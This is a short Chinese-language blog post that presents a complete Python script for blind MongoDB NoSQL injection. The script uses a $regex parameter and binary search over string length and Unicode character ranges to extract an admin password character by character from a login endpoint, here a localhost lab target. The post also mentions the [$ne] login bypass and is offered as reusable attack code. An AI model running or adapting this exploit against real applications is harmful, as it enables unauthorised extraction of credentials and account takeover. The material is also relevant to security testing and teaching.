MongoDB noSQLInjection with Binary Search


MongoDB 上面的 Injection 通常都可以直接使用 [$ne] 來做萬用解,但如果我們的目標不只是登入,而是想要 query 到指定目標的話,參考 HackTricks 可以看出。在 Blind 的情境底下,可以透過 regex 的方法來進行解答。

不過 HackTricks 或是 PayloadsAllTheThings 中,使用的方法通常都是直接對 strings 進行爆破。

這會出現耗時,以及遇到 Regex 保留字時的問題。因此,我透過 regex 的 unicode 功能,寫了一款類似於傳統 SQL injection 中,透過 Binary Search 的方法來取得密碼,廢話不多說,直接上 Code。 使用上來看,只需要變更 query 函數中的條件,即可。

import requests
import urllib.parse

def query(q):
    res = requests.get(r"http://127.0.0.1:8791/?user=admin&pass[$regex]=" + q)
    if "Success" in res.text:
        return True
    else:
        return False

def binary_search(left, right, query_s, query_f, v=1):
    while right - left > 3: # <= 3 will stop
        guess = int(left+(right-left)/2)
        if query(query_s % guess):
            left = guess
        else:
            right = guess

    for i in range(left,right): # do match
        if query(query_f % i):
            if v == 1:
                return i

def get_len():
    return binary_search(1,100,
        "^.{%s,}$",
        "^.{%s}$")


def binary_search_content(index=0, length=1, left=1, right=0x7f,):
    while right - left > 4:
        guess = int(left+(right-left)/2)

        old_left = left
        left = guess
        command = urllib.parse.quote(r"^.{%s}[\x{%s}-\x{%s}].{%s}" % (index, f"{hex(int(left))[2:]:0>4}", f"{hex(int(right))[2:]:0>4}", length-index-1))
        if query(command):
            left = guess
        else:
            right = guess
            left = old_left
        print(f"{left} ~ {right}" , end="\r")

    for i in range(left,right+1):
        command = urllib.parse.quote(r"^.{%s}[\x{%s}].{%s}" % (index, f"{hex(int(i))[2:]:0>4}", length-index-1))
        # print(command)
        if query(command):
            print(f"[!] Answer: {i} ({chr(i)})")
            return i

length = get_len()
print(f"String Length = {length}")

r = []
for i in range(length):
    r.append(chr(binary_search_content(index=i,length=length)))

print(''.join(r))

發表迴響